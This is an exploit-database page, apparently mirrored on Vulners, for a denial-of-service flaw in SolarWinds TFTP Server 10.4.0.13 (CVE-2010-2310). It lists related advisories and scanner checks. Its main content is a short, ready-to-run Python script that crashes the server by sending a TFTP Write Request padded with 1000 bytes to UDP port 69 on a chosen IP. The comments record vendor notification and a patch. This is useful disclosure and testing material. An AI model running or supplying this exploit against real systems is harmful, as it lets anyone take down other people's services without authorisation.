Lucene search
+L

SolarWinds TFTP Server 10.4.0.13 - Denial of Service

🗓️ 12 Jun 2010 00:00:00Reported by NullthreatType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 33 Views

Denial of Service vulnerability in SolarWinds TFTP Server 10.4.0.13 using long Write Request.

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2010-2310
12 Jun 201000:00
circl
CVE
CVE-2010-2310
16 Jun 201020:00
cve
Cvelist
CVE-2010-2310
16 Jun 201020:00
cvelist
Kaspersky
KLA10334 DoS vulnerability in TFTP Server
16 Jun 201000:00
kaspersky
NVD
CVE-2010-2310
16 Jun 201020:30
nvd
OpenVAS
SolarWinds TFTP Server 10.4.0.13 Write Request DoS Vulnerability - Active Check
22 Jun 201000:00
openvas
Prion
Cross site request forgery (csrf)
16 Jun 201020:30
prion
Tenable Nessus
SolarWinds TFTP Server < 10.4.0.14 DoS
25 Jun 201000:00
nessus
#!/usr/bin/python
print "\n############################################################"
print "##	Nullthreat Network"
print "##	Solarwinds TFTP Server Ver. 10.4.0.13"
print "##	Elliott \"Nullthreat\" Cutright"
print "##	[email protected]"
print "############################################################"
print "\n"
# Summary: An long Write Request (1000 A's) will cause SolarWinds TFTP Server to crash.
# Tested on: Windows XP SP3
# Usage: ./solarwindscrash.py <IPADDRESS>
# Note: It can take the application a few moments to crash, be patiant.
# Shouts: #SEUnited, Corelan Team

# Discovered: June 6th 2010
# Vendor Notified: June 9th 2010
# Patch Released: June 11th 2010

import socket
import sys

host = sys.argv[1]
port = 69
addr = (host,port)

s = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)

print "[*] Building Crash"
crash = "\x41" * 1000
request = "\x00\x02" + crash + "\x00" + "NETASCII" + "\x00"

print "[*] Sending Crash"
s.sendto(request, addr)

print "[*] Crash Sent, It can take some time for the app to crash"

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

27 Sep 2016 00:00Current
5.2Medium risk
Vulners AI Score5.2
CVSS 25
EPSS0.11024
33